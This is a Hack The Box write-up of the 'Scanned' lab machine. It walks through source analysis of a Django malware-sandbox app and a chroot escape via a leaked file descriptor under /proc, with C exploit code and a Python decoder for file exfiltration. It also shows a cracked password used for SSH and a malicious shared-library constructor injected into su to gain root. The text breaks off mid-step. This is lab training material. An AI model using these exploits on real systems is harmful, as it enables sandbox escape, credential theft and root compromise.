HTB: Scanned.
Box Info
Recon
nmap
nmap found two open TCP ports, SSH (22) and HTTP (80):
oxdf@hacky$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.11.141 Starting Nmap 7.80 ( ) at 2022-01-13 13:56 EST Nmap scan report for 10.10.11.141 Host is up (0.096s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 8.08 seconds oxdf@hacky$ nmap -p 22,80 -sCV -oN scans/nmap-tcpscripts.nmap 10.10.11.141 Starting Nmap 7.80 ( ) at 2022-01-13 13:58 EST Nmap scan report for 10.10.11.141 Host is up (0.091s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) 80/tcp open http nginx 1.18.0 |_http-server-header: nginx/1.18.0 |_http-title: Malware Scanner Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at . Nmap done: 1 IP address (1 host up) scanned in 10.03 seconds
Based on the OpenSSH version, the host is likely running Debian 11 bullseye.
Website - TCP 80
Site
The site is MalScanner, a new free and open source software (FOSS) malware analysis sandbox:
There are two links on the index page. The last bullet has a link to the source at
/static/source.tar.gz. The first link is a link to
/scanner/upload which leads to an upload form:
I tried uploading a few sample binaries. Any Windows binary I uploaded (such as
nc64.exe or compiled potato exploits) returned an error:
There was an error logging this application
The front page said it was working from Debian 11 (which matches my analysis from
nmap), so perhaps it doesn’t support Windows.
When I uploaded
/bin/id from my VM, it returned log of all the system calls:
Clicking any of the buttons expands the logs of syscalls with their args and the results. For example, the “Medium Priority” ones:
There is one
access call and then a bunch of
stat calls.
Tech Stack
nmap shows that the box is Debian 10, using NGINX to host the website. The response headers don’t show much else, but looking at the source will show the site is created using the Python Django framework.
I’ll skip the directory brute force given I have the source.
Source Code Analysis
The source code Tar archive has two folders,
malscanner and
sandbox.
oxdf@hacky$ tar xf source.tar.gz oxdf@hacky$ ls malscanner sandbox source.tar.gz
malscanner is a Python Django project, and
sandbox is a custom C application.
malscanner
Django Background
This video gives a nice overview of the structure of a Django project. A project (like
malscanner) can have one or more applications (like
malscanner/sandbox), as well as project-wide settings directory (that has the same folder name as the project, so
malscanner/malscanner).
When a web request hits the server, it takes the following steps (copied from the video above):
Project Settings
From the project folder,
settings.py defines the structure of the project. The
SECRET_KEY variable is set to “REDACTED”, so that’s no use to me. Additionally, the project isn’t in DEBUG mode.
There are some installed default apps (including the admin application at
/admin).
Even if the custom applications don’t use a database, things like the default admin application will, so one must be configured. It is set to a SQLite DB:
DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': 'malscanner.db', } }
That file is in the source, but it is 0 bytes.
It does specify the hash algorithm to be MD5:
PASSWORD_HASHERS = [ "django.contrib.auth.hashers.MD5PasswordHasher" ]
Two additional custom variables are set here and used in the applications.
FILE_PATH and
SBX_PATH are set in the project level
settings.py as:
FILE_PATH = "/var/www/malscanner/uploads" SBX_PATH = "/var/www/malscanner/sandbox"
How Files Are Run
For this application, the
urls.py in the project folder load the urls from
scanner,
viewer, as well as the build in Django admin application.
from django.contrib import admin from django.urls import path, include, re_path from . import views urlpatterns = [ path('scanner/', include("scanner.urls")), path('viewer/', include("viewer.urls")), path('admin/', admin.site.urls), re_path(r'^$', views.index, name='index'), ]
The root returns the index template in
/templates. For each application, I can look at it’s
urls.py file. The scanner application defines an index and
upload/:
from django.urls import path from . import views urlpatterns = [ path('', views.index, name='index'), path('upload/', views.upload_file, name='upload') ]
This links
/scanner to the
index function and
/scanner/upload to the
upload_file function in
malscanner/scanner/views.py.
To figure out how the application handles an uploaded file, I’ll look at
malscanner/scanner/views.py. The index (
/scanner) just returns a message:
def index(request): return HttpResponse("Hello, world. You're at the polls index.")
If
/scanner/upload is linked to
upload_file:
def upload_file(request): if request.method == 'POST': form = UploadFileForm(request.POST, request.FILES) if form.is_valid(): md5 = handle_file(request.FILES['file']) return HttpResponseRedirect(f'/viewer/{md5}') else: return HttpResponse("Invalid form") else: return render(request, 'upload.html', {'form': UploadFileForm()}) def handle_file(file): md5 = calculate_file_md5(file) path = f"{settings.FILE_PATH}/{md5}" with open(path, 'wb+') as f: for chunk in file.chunks(): f.write(chunk) os.system(f"cd {settings.SBX_PATH}; ./sandbox {path} {md5}") os.remove(path) return md5
If this is a GET request, it shows the form to upload. Otherwise, it passed the file to
handle_file, and then redirects to
/viewer/{md5} (where the hash is returned from
handle_file).
handle_file calculates the hash, and then writes the file to a file named by the MD5. Then it changes into the
SBX_PATH, and calls
sandbox passing in the path and hash.
How Logs Are Returned
The viewer application the viewer defines
/viewer/<str:md5>/ url to link to the
view_file function in
malscanner/viewer/views.py. This function gets the request as well as the
md5 variable:
def view_file(request, md5: str): path = f"{settings.SBX_PATH}/jails/{md5}" if not os.path.exists(path): raise Http404("A sample with this hash has not been uploaded.") logfile = f"{path}/log" if not os.path.exists(logfile): return HttpResponse("There was an error logging this application") syscalls = [call.render() for call in parse_log(logfile)] ignore = list(filter(lambda call: call[0] == SyscallClass.Ignore, syscalls)) low = list(filter(lambda call: call[0] == SyscallClass.Low, syscalls)) med = list(filter(lambda call: call[0] == SyscallClass.Medium, syscalls)) high = list(filter(lambda call: call[0] == SyscallClass.High, syscalls)) render_vars = {"md5": md5, "ignore": ignore, "low": low, "med": med, "high": high} return render(request, 'view.html', render_vars)
It looks for the log in the jail directory from the run in a file named
log. It feeds that log into some parsing functions and then to the view template for the page.
parse_log opens a log file (from the sandbox run) and processes 64 byte chunks of data, unpacking them into an array called
nums:
def parse_log(path): syscalls = [] with open(path, 'rb') as f: chunk = f.read(8 * 8) nums = struct.unpack("q" * 8, chunk) while len(chunk) == 8*8: nums = struct.unpack("q" * 8, chunk) call = LoggedSyscall(nums) syscalls.append(call) chunk = f.read(8 * 8) return syscalls
For each, it creates a
LoggedSyscall object and appends that to an array.
syscalls.py has an array of predefined calls and their priority, name, syscall number, and argument count:
Jails
The source references a “jail”, and the page references using Linux features like
chroot. Linux has a feature known as chroot jails, which will, for a given process, map
/ to some other folder on the main system. This picture from Security Queens shows it nicely:
The process in the jail thinks that the
/home/chroot folder is
/, and can’t read outside of that.
This is typically created and managed using the
chroot command.
Sandbox
Makefile
The
sandbox folder has a
Makefile, three C source files, and an empty
jails directory.
Makefile are instructions for how to compile an applition:
.PHONY: all clean all: sandbox jails: mkdir jails; chmod 0771 jails sandbox: jails sandbox.c copy.c tracing.c gcc sandbox.c copy.c tracing.c -static -o sandbox sudo setcap 'cap_setpcap,cap_sys_admin,cap_setuid,cap_setgid,cap_sys_chroot=+eip' ./sandbox clean: for i in $(shell find jails -maxdepth 2 -name proc); do sudo umount $$i; done rm -rf sandbox jails/*
This
Makefile has four targets:
all,
jails,
sandbox, and
clean. Any other targets or files listed after
[target]: are the targets or files required for the target. So running
sandbox will require a
jails directory and will run
jails if it’s not there.
So running
make in this directory (which is the same as running
make [first target], so
make all) will build
sandbox, which requires
jails. When I run into errors like “fatal error: sys/capability.h: No such file or directory”, I’ll Google that error and find out what library I need to install (in that case,
apt install libcap-dev). Once all that’s working, it generates
sandbox with the required capabilities (assuming my user can run
sudo setcap):
oxdf@hacky$ make gcc sandbox.c copy.c tracing.c -static -o sandbox sudo setcap 'cap_setpcap,cap_sys_admin,cap_setuid,cap_setgid,cap_sys_chroot=+eip' ./sandbox oxdf@hacky$ ls copy.c jails Makefile sandbox sandbox.c tracing.c oxdf@hacky$ getcap sandbox sandbox = cap_setgid,cap_setuid,cap_setpcap,cap_sys_chroot,cap_sys_admin+eip
sandbox.c
The
main function is in
sandbox.c, and it handles parsing the input arguments, and making sure that the binary is running with the right capabilities. Then it calls
make_jail:
int main(int argc, char** argv) { if (argc < 2) { printf("Usage: %s <program> [uuid]\n", argv[0]); exit(-2); } if (strlen(argv[1]) > FILENAME_MAX - 50) { DIE("Program name too long"); } if ((argv[1][0]) != '/') { DIE("Program path must be absolute"); } umask(0); check_caps(); int result = mkdir("jails", 0771); if (result == -1 && errno != EEXIST) { DIE( "Could not create jail directory"); } char uuid[33] = {0}; if (argc < 3) { generate_uuid(uuid); } else { memcpy(uuid, argv[2], 32); } uuid[32] = 0; make_jail(uuid, argv[1]); }
make_jail creates a folder in the
jails folder to run from, moves the necessary libraries into it, changes into that directory and calls
chroot("."), setting that directory as the root for this process, creating the jail:
// Create our jail folder and move into it void make_jail(char* name, char* program) { jailsfd = open("jails", O_RDONLY|__O_DIRECTORY); if (faccessat(jailsfd, name, F_OK, 0) == 0) { DIE("Jail name exists"); } int result = mkdirat(jailsfd, name, 0771); if (result == -1 && errno != EEXIST) { DIE( "Could not create the jail"); } if (access(program, F_OK) != 0) { DIE("Program does not exist"); } chdir("jails"); chdir(name); copy_libs(); do_namespaces(); copy(program, "./userprog"); if (chroot(".")) {DIE("Couldn't chroot #1");} if (setgid(1001)) {DIE("SGID");} if (setegid(1001)) {DIE("SEGID");} if (setuid(1001)) {DIE("SUID");}; if (seteuid(1001)) {DIE("SEUID");}; do_trace(); sleep(3); }
After making sure that the group and user ids are 1001, it calls
do_trace(), then sleeps 3 seconds, and returns.
do_namespaces() is worth noting, as it will create new namespaces for the PIDs and network:
// Create PID and network namespace void do_namespaces() { if (unshare(CLONE_NEWPID|CLONE_NEWNET) != 0) {DIE("Couldn't make namespaces");}; // Create pid-1 if (fork() != 0) {sleep(6); exit(-1);} mkdir("./proc", 0555); mount("/proc", "./proc", "proc", 0, NULL); }
Calling
unshare (man) on
CLONE_NEWNET resets the network namespace, completely separating it from the networking stack used by the host (and preventing network activity back to my host from in the jail). The
unshare on
CLONE_NEWPID will reset the PID counter, so the next process will be PID 1.
Then it calls
fork. The parent process (PID unknown) will get the child PID from
fork (which will be non-zero), so it sleeps 6 seconds and exits.
The child process will get
0 returned from
fork, so it continues along. But because the
CLONE_NEWPID namespace was reset with
unshare, this effectively means that resulting child (from now on considered the main process) will always be PID 1 in the jail, and that the additional forks upcoming will always be PID 2 and 3.
do_trace is defined in
tracer.c. It sets permissions, including dropping all capabilities, and then forks twice. The first fork calls
do_child, the next one splits into
do_killer and
do_log.
void do_trace() { // We started with capabilities - we must reset the dumpable flag // so that the child can be traced prctl(PR_SET_DUMPABLE, 1, 0, 0, 0, 0); // Remove dangerous capabilities before the child starts); int child = fork(); if (child == -1) { DIE("Couldn't fork"); } if (child == 0) { do_child(); } int killer = fork(); if (killer == -1) { DIE("Couldn't fork (2)"); } if (killer == 0) { do_killer(child); } else { do_log(child); } }
At this point, there are three processes running in the jail, with PIDs 1, 2, and 3:
do_child first closes the file descriptor for
jailsfd that was opened earlier, with a comment that it’s preventing escape. Then it sets the process as traceable (
PTRACE_TRACEME) and then
execve the passed in program:
void do_child() { // Prevent child process from escaping chroot close(jailsfd); prctl(PR_SET_PDEATHSIG, SIGHUP); ptrace(PTRACE_TRACEME, 0, NULL, NULL); char* args[] = {NULL}; execve("/userprog", args, NULL); DIE("Couldn't execute user program"); }
do_killer sleeps for five seconds, then kills the child process, and exits:
void do_killer(int pid) { sleep(5); if (kill(pid, SIGKILL) == -1) {DIE("Kill err");} puts("Killed subprocess"); exit(0); }
do_log traces the child process, entering a while true loop, which exits when it gets a signal that the child process exited. Otherwise, it loops using
PTRACE_SYSCALL:
void do_log(int pid) { int status; waitpid(pid, &status, 0); struct user_regs_struct regs; struct user_regs_struct regs2; while (1) { // Enter syscall ptrace(PTRACE_SYSCALL, pid, 0, 0); waitpid(pid, &status, 0); if (WIFEXITED(status) || WIFSIGNALED(status)) { puts("Exited"); return; } ptrace(PTRACE_GETREGS, pid, 0, ®s); // Continue syscall ptrace(PTRACE_SYSCALL, pid, 0, 0); waitpid(pid, &status, 0); ptrace(PTRACE_GETREGS, pid, 0, ®s2); log_syscall(regs, regs2.rax); } }
The man page for ptrace says about
PTRACE_SYSCALL:
So, for PTRACE_SYSCALL, for example, the idea is to inspect the arguments to the system call at the first stop, then do another PTRACE_SYSCALL and inspect the return value of the system call at the second stop.
So that’s why it’s call twice in the loop, and the first time it gets all the registers, and then the second time just RAX (the return value).
Logging
The
log_syscall function creates a
registers object, which holds eight unsigned long values (which on 64-bit Linux is 64-bits or 8 bytes each, matching the register size):
typedef struct __attribute__((__packed__)) { unsigned long rax; unsigned long rdi; unsigned long rsi; unsigned long rdx; unsigned long r10; unsigned long r8; unsigned long r9; unsigned long ret; } registers; void log_syscall(struct user_regs_struct regs, unsigned long ret) { registers result; result.rax = regs.orig_rax; result.rdi = regs.rdi; result.rsi = regs.rsi; result.rdx = regs.rdx; result.r10 = regs.r10; result.r8 = regs.r8; result.r9 = regs.r9; result.ret = ret; int fd = open("/log", O_CREAT|O_RDWR|O_APPEND, 0777); if (fd == -1) { return; } write(fd, &result, sizeof(registers)); close(fd); }
orig_rax is the Syscall being made. It writes this binary struct to
/log, which fits with how the log files are read from the Django app above.
Vulnerabilities
There’s two issues with the code above. First, at the top of
do_trace, there’s a call to
prctl(PR_SET_DUMPABLE, 1, 0, 0, 0, 0). By default, for a privileged process (which this is due to the capabilities), it will not be dumpable, and thus not able to be traced. This call is necessary for the functioning of the application. However, the code does this before the forks, and thus all three processes are traceable, not just the child.
The second issue kind of the opposite. The
jailsfd is closed in
do_child, but not in the other two forks. This is the file descriptor for the directory containing all the jails, including the one the process is running from, and thus is outside of the jail. If I can reference this directory / file descriptor, I’ll have access to the entire filesystem.
Sandbox Exploit
File Read Strategy
Intended Exploit
The two vulnerabilities above provide the steps to get arbitrary file read on the Scanner system outside the jail. The intended path is to make a binary that will first binary attach to the parent process (which will always be PID 1 within the new namespace), write shellcode into it, and set RIP to point to that code. Having hijacked this process, now I’ll have access to the file descriptor outside the jail, and thus can access the entire file system. That’s because
chroot only impacts absolute paths. If I can get a handle to something outside the jail, I can work relative to that to access the full filesystem. It can read a file, and write it back into the
log file in the jail, so that webpage will read it and return it to me.
Because all the capabilities on the binary are dropped in the
do_trace call after the jails are set up and before forking any of the processes, I will only be able to read files as the user that hosts the web site:);
Still, that’s useful.
Shortcut
Coding up a binary to attach to the main process and inject shellcode is complicated, and there’s a shortcut way to get access to the open file descriptor in processes 1 and 3 from 2. In the
do_namespaces call, it also created a
/proc folder in the root of the jail, and then mounted that as
/proc (in the jail). This means that each of the three processes will have folders in that
/proc. And because each is owned by the same user and this is Debian, each can read from each others. This means that my running binary can access the path outside the jail at
/proc/1/fd/3, and better yet, can just step up from that by adding relative paths like
/proc/1/fd/3/../../../../../../etc/passwd.
Why does it matter that the OS is Debian? When the kernel is going to trace another process or access another processes
/proc/, it looks at
/proc/sys/kernel/yama/ptrace_scope (detailed definition here). In most distros, this is set to
1 by default, which means that you can only trace or access descendant processes. So PID 1 can trace 2 or 3, but neither 2 nor 3 can access any of the others. But Debian has decided (reasons detailed here) to default to
0, which means that a process can attach (and/or access
/proc) to any other process running under the same UID, as long as it is dumpable.
Exfil Strategy
The only output I’ll get from the uploaded binary is a series of syscalls, their arguments, and return values. To keep it simple, I’ll have my binary write the data to 64 byte chunks, setting the syscall to something I can pick out and wouldn’t expect otherwise (0xdfdf), and the return value to the next eight bytes of exfil. Then I can scrape down the syscalls from the page and use the return code data to rebuild that file.
Exploit
Finding the exploit is very complicated and difficult. Actually writing it is, by comparison, not too bad.
Write Into Log
To start, I’ll prove that I can write to the
/log file something that I can collect in the output.
#include <stdio.h> int main() { FILE *log = fopen("/log", "a"); char buf[64] = {0}; ((unsigned long*)buf)[0] = 0xdfdf; fwrite(buf,1,64,log); fclose(log); }
This simply creates a 64 byte buffer, sets the first element to 0xdfdf (57311 in decimal), writes that to the log, and exits. If this works, I’d expect to see a Syscall 57311 in the logs with return 0.
I’ll compile the binary with
gcc -o poc read_file.c, and upload
poc. In the results, in the “Ignored Syscalls” section, I’ll find it:
Read File
Now I’ll try to read a file outside the jail and put the first eight bytes into that same log:
#include <stdio.h> int main() { FILE *file_to_read = fopen("/proc/1/fd/3/../../../../../../../etc/passwd", "r"); FILE *log = fopen("/log", "a"); char buf[64] = {0}; ((unsigned long*)buf)[0] = 0xdfdf; fread(&buf[56], 1, 8, file_to_read); fwrite(buf,1,64,log); fclose(file_to_read); fclose(log); }
The
fread will get 8 bytes from
passwd and store it 56 bytes into the 64 byte buffer, which is where the return code goes.
When I compile and upload this one, the entry for 0xdfdf has a non-zero response:
That decodes to
root:x:0 (once the byte order is fixed):
>>> bytes.fromhex('303a783a746f6f72').decode() '0:x:toor' >>> bytes.fromhex('303a783a746f6f72').decode()[::-1] 'root:x:0'
That’s success.
Read Entire File
Next I want to get more than eight bytes. I’ll loop over the file, reading 8 bytes into the return address, and and writing another log entry:
#include <stdio.h> int main() { size_t bytesRead = 0; FILE *file_to_read = fopen("/proc/1/fd/3/../../../../../../../etc/passwd", "r"); FILE *log = fopen("/log", "a"); char buf[64] = {0}; ((unsigned long*)buf)[0] = 0xdfdf; while ((bytesRead = fread(&buf[56], 1, 8, file_to_read)) > 0) { fwrite(buf,1,64,log); } fclose(file_to_read); fclose(log); }
This returns 182 syscalls!
Script File Download
I’ll write a Python script to grab all the syscalls and rebuild the file from that. This video shows the development of the exploit:
The final script is:
#!/usr/bin/env python3 import re import requests import struct import sys if len(sys.argv) < 3: print(f"{sys.argv[0]} [url] [file]") exit() resp = requests.get(sys.argv[1]) if resp.status_code != 200: print("Failed to fetch page") exit() words = re.findall(r"sys_57311\(\) = 0x([a-f0-9]+)", resp.text) res_file = b''.join([struct.pack("Q", int(w, 16)) for w in words]) with open(sys.argv[2], "wb") as f: f.write(res_file)
Shell as clarence
Exploit
I’ll modify the exploit to go after the
malscanner.db file that I noted in the sourcecode. The version in the source download was empty, but there could be more in there on production.
FILE *file_to_read = fopen("/proc/1/fd/3/../../../../../var/www/malscanner/malscanner.db", "r");
When I compile and upload, there are a lot more Ignored Syscalls:
It works:
oxdf@hacky$ python3 decode.py malscanner.db oxdf@hacky$ file malscanner.db malscanner.db: SQLite 3.x database, last written using SQLite version 3034001
Get Password
Read malscanner.db
I’ll open the file in
sqlite3, but it seems it’s corrupt:
oxdf@hacky$ sqlite3 malscanner.db SQLite version 3.31.1 2020-01-27 19:55:54 Enter ".help" for usage hints. sqlite> .tables Error: database disk image is malformed
Running strings on the binary, this line jumps out:
md5$kL2cLcK2yhbp3za4w3752m$9886e17b091eb5ccdc39e436128141cf2021-09-14 18:39:55.237074clarence2021-09-14 18:36:46.227819
It seems like it has a hash, a date, a username, and another date. If that’s right, then this is a hash:
md5$kL2cLcK2yhbp3za4w3752m$9886e17b091eb5ccdc39e436128141cf
Crack Password
The hash is of the format described here,
{ident}${salt}${hash}. The hash is calculated by combining the salt and then the password.
To crack a salted MD5 hash in
hashcat, I’ll use mode 20 from the example hashes page,
md5($salt.$pass). It needs the hash in the format
{hash}:{salt}, so mine becomes:
9886e17b091eb5ccdc39e436128141cf:kL2cLcK2yhbp3za4w3752m
It cracks almost instantly:
$ hashcat -m 20 hash /usr/share/wordlists/rockyou.txt ...[snip]... 9886e17b091eb5ccdc39e436128141cf:kL2cLcK2yhbp3za4w3752m:onedayyoufeellikecrying ...[snip]...
Django Admin
This hash does work to log into the Django admin interface as clarence:
I could look around here more, but I don’t need to.
SSH
I’ll note that clarence is a user on the machine from the
/etc/passwd file. This password also works over SSH to get a connection:
oxdf@hacky$ sshpass -p 'onedayyoufeellikecrying' ssh clarence@10.10.10.21 ...[snip]... clarence@scanner:~$
And
user.txt:
clarence@scanner:~$ cat user.txt 10247fad************************
Shell as root
Enumeration
There’s very little on the box of interest that I haven’t already looked at.
Clarence’s home directory is very empty:
clarence@scanned:~$ ls -la total 28 drwxr-xr-x 3 clarence clarence 4096 Sep 14 2021 . drwxr-xr-x 3 root root 4096 Sep 14 2021 .. lrwxrwxrwx 1 clarence clarence 9 Sep 14 2021 .bash_history -> /dev/null -rw-r--r-- 1 clarence clarence 220 Sep 14 2021 .bash_logout -rw-r--r-- 1 clarence clarence 3526 Sep 14 2021 .bashrc drwxr-xr-x 3 clarence clarence 4096 Sep 14 2021 .local -rw-r--r-- 1 clarence clarence 807 Sep 14 2021 .profile -r-------- 1 clarence clarence 33 Jul 20 14:12 user.txt
There are no other directories in
Playing With malscanner
Permissions
There’s nothing really interesting in the process list other than stuff supporting the malscanner web application. The
chroot called from
sandbox requires elevated permissions, which it achieves via Linux capabilities (consistent with the
Makefile from the source):
clarence@scanned:/var/www/malscanner/sandbox$ ls -l total 816 drwxrwxrwx 2 root root 4096 Sep 7 20:35 jails -rwxr-xr-x 1 root root 827952 Sep 14 2021 sandbox clarence@scanned:/var/www/malscanner/sandbox$ /usr/sbin/getcap sandbox sandbox cap_setgid,cap_setuid,cap_setpcap,cap_sys_chroot,cap_sys_admin=eip
It isn’t running as SetUID, but rather is given capabilities (consistent with the
Makefile from the source).
Running Manually
It’s worth noting that every 5 minutes a cleanup process clears out all the jails, so I may need to run a few times to understand what’s going on, and the jail UUID may change as I work.
If I run
sandbox manually, I can look at what gets created:
clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /usr/bin/id <program name unknown>: error while loading shared libraries: libselinux.so.1: cannot open shared object file: No such file or directory Exited
The running errors out, but the jail is left behind:
clarence@scanned:/var/www/malscanner/sandbox$ ls jails/e31111f2000db36df3ad97a23e9f89a4/ bin lib lib64 log proc userprog usr
The
log file has entries to report back:
clarence@scanned:/var/www/malscanner/sandbox$ ls -l jails/e31111f2000db36df3ad97a23e9f89a4/log -rwxrwxrwx 1 sandbox sandbox 4416 Sep 8 16:25 jails/e31111f2000db36df3ad97a23e9f89a4/log clarence@scanned:/var/www/malscanner/sandbox$ xxd jails/e31111f2000db36df3ad97a23e9f89a4/log 00000000: 0c00 0000 0000 0000 0000 0000 0000 0000 ................ 00000010: d04a ce71 8a55 0000 486e 89e3 ff7f 0000 .J.q.U..Hn...... 00000020: 0010 0000 0000 0000 0100 0000 0000 0000 ................ 00000030: 0100 0000 0000 0000 0040 6c72 8a55 0000 .........@lr.U.. 00000040: 1500 0000 0000 0000 b0c9 c630 317f 0000 ...........01... 00000050: 0400 0000 0000 0000 c871 c430 317f 0000 .........q.01... 00000060: 0800 0000 0000 0000 0000 0000 0000 0000 ................ 00000070: 0000 0000 0000 0000 feff ffff ffff ffff ................ 00000080: 0101 0000 0000 0000 9cff ffff 0000 0000 ................ 00000090: 679b c630 317f 0000 0000 0800 0000 0000 g..01........... ...[snip]...
The run errored because it couldn’t find a needed library. That’s because the source shows that while it is set up to do more, only
libc.so.6 is copied into the jail, along with the loaded,
ld-linux-x86-64.so.2:
void copy_libs() { char* libs[] = {"libc.so.6", NULL}; char path[FILENAME_MAX] = {0}; char outpath[FILENAME_MAX] = {0}; system("mkdir -p bin usr/lib/x86_64-linux-gnu usr/lib64; cp /bin/sh bin"); for (int i = 0; libs[i] != NULL; i++) { sprintf(path, "/lib/x86_64-linux-gnu/%s", libs[i]); // sprintf(path, "/lib/%s", libs[i]); sprintf(outpath, "./usr/lib/%s", libs[i]); copy(path, outpath); } copy("/lib64/ld-linux-x86-64.so.2", "./usr/lib64/ld-linux-x86-64.so.2"); system("ln -s usr/lib64 lib64; ln -s usr/lib lib; chmod 755 -R usr bin"); }
It’s also worth noting that if I use a SetUID binary (like
su), when it copies the binary into the jail, it loses the SetUID.
Fixing Library Error
The error for the missing library sent me down a useful rabbit hole - Can I copy the library into the jail in time for
id to use it? I’ll use the optional argument for
sandbox to name my jail (
a), so I can predict the folder I need to copy into.
At first I’ll try something like this:
clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /usr/bin/id a & cp /lib/x86_64-linux-gnu/libselinux.so.1 jails/a/usr/lib/; echo "copied lib" [1] 123261 cp: cannot create regular file 'jails/a/usr/lib/': No such file or directory copied lib clarence@scanned:/var/www/malscanner/sandbox$ <program name unknown>: error while loading shared libraries: libselinux.so.1: cannot open shared object file: No such file or directory Exited
It’s going to start
sandbox in the background and then copy the library in. The error shows that the copy fails because the jail library doesn’t exist yet. I’ll add a loop that waits for the jail directory to exist and then does the copy. That code with whitespace looks like:
./sandbox /usr/bin/id a & until [ -d jails/a ]; do sleep 0.01; done; cp /lib/x86_64-linux-gnu/libselinux.so.1 jails/a/usr/lib/; echo "copied lib"
One time I’ll get it partially copied before it’s read:
clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /usr/bin/id a & until [ -d jails/a ]; do sleep 0.01; done; cp /lib/x86_64-linux-gnu/libselinux.so.1 jails/a/usr/lib/; echo "copied lib" [2] 123227 [1] Exit 255 ./sandbox /usr/bin/id a <program name unknown>: error while loading shared libraries: /usr/lib/libselinux.so.1: file too short Exited copied lib
The “file too short” error suggests it wasn’t done being copied. After a few tries, it will work:
clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /usr/bin/id a & until [ -d jails/a ]; do sleep 0.01; done; cp /lib/x86_64-linux-gnu/libselinux.so.1 jails/a/usr/lib/; echo "copied lib" [1] 123244 copied lib <program name unknown>: error while loading shared libraries: libpcre2-8.so.0: cannot open shared object file: No such file or directory Exited
id still failed with an error for another missing library, but it does show that if I can copy a library into the jail, it will be used by the
userprog running in that jail.
Strategy
I’m going to abuse the
sandbox application again. All these capabilities are all dropped before my code gets run, and even before the
fork calls, so all three processes are running without these capabilities. However, if I use my binary to run something that is set to SetUID, then that process will be running as root. There are no SetUID binaries in the jail, but I already showed I can access files outside the jail using the file descriptor in PIDs 1 or 3.
I’ve also shown that I can copy libraries into the jail and have those used.
Putting this all together, I’ll write two binaries. The first is a malicious executable that will:
- Sleep for a second to allow me time to load libraries into the jail.
- Exploit the file descriptor to call a SetUID binary using
popen.
The second is a malicious library that is loaded by the SetUID binary called by the executable. If I can get this library into the jail while the loader sleeps, then when the SetUID binary runs, it will run my malicious library, giving execution as root.
Binary to Launch su
Write and Compile Binary
I’ll write a binary that will sleep and then launch
su using the same trick I used to get a foothold:
#include <stdio.h> #include <unistd.h> int main() { sleep(3); size_t bytesRead = 0; FILE *run = popen("/proc/1/fd/3/../../../../../../../usr/bin/su", "r"); char buf[1000] = {0}; while ((bytesRead = fread(buf, sizeof(buf), 1, run)) > 0) { printf("%s", buf); } pclose(run); }
Very much like the original exploit, except this time instead of reading a file, I’ll use
popen to run a process, and I’ll use the
/proc trick to get
su from outside the jail. This time I don’t have to worry about seeing the results through the
log file, so I’ll just print the results to the screen.
I’ll compile this and upload it to Scanned:
oxdf@hacky$ gcc runsu.c -o runsu oxdf@hacky$ sshpass -p 'onedayyoufeellikecrying' scp runsu clarence@10.10.11.141:/dev/shm
Run It
If I run this via
sandbox, it reports that it can’t find
libpam.so.0:
clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /dev/shm/runsu a /proc/1/fd/3/../../../../../../../usr/bin/su: error while loading shared libraries: libpam.so.0: cannot open shared object file: No such file or directory Exited Kill err: (3)
This is the first of several imports that are required. These imports are not required by my binary:
clarence@scanned:/var/www/malscanner/sandbox$ ldd /dev/shm/runsu linux-vdso.so.1 (0x00007ffdaa7fc000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5e6b3b6000) /lib64/ld-linux-x86-64.so.2 (0x00007f5e6b587000)
linux-vdso.so.1 is a virtual file that’s not on the disk, but actually part of the kernel.
libc.so.6 and
ld-linux-x86-64.so.2 were the two files copied into the jail.
Looking at
su, it requires more (the first being
libpam.so.0 which is where it’s failing):
clarence@scanned:/var/www/malscanner/sandbox$ ldd /usr/bin/su linux-vdso.so.1 (0x00007ffff6cb3000) libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007f83c279e000) libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007f83c2799000) libutil.so.1 => /lib/x86_64-linux-gnu/libutil.so.1 (0x00007f83c2794000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f83c25cf000) libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007f83c259e000) libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f83c2598000) /lib64/ld-linux-x86-64.so.2 (0x00007f83c27ca000) libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007f83c258e000) libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f83c256c000)
Run with Fixed Libs
I’ll use a similar loop to last time, except this time I can sleep longer because I have the 3 second sleep at the start of
runsu. I’ll copy all the libs into the jail to be lazy/safe:
clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /dev/shm/runsu a & until [ -d jails/a ]; do sleep 1; done; cp -r /lib/x86_64-linux-gnu/* jails/a/usr/lib/; echo "copied libs" [1] 124255 copied libs su: user root does not exist or the user entry does not contain all the required fields Exited Kill err: (3)
This time it runs! It errors out in the
su call, but that looks like
su being called.
Malicious Library File
Write and Compile Library
My library will be very simple. It only has a constructor that is called when the library loads, and that
init function will go outside the jail and modify
/tmp/0xdf to be owned by root and SetUID (4777):
#include <stdlib.h> #include <unistd.h> #include <sys/stat.h> static __attribute__ ((constructor)) void init(void) { char fn[120] = "/proc/1/fd/3/../../../../../../../../tmp/0xdf"; char mode[] = "4777"; int mode_int = strtol(mode, 0, 8); chown(fn, 0, 0); chmod(fn, mode_int); }
I’ll compile this as a shared object (library) file and upload it to Scanned:
oxdf@hacky$ gcc -shared -fPIC -o setuidlib.so setuidlib.c oxdf@hacky$ gcc -shared -fPIC -o setuidlib.so setuidlib.c
Failure
I’ll run the same loop as before, but this time, after copying all the libraries into the jail, I’ll copy my library on top of
libpam.so.0 with this command:
."
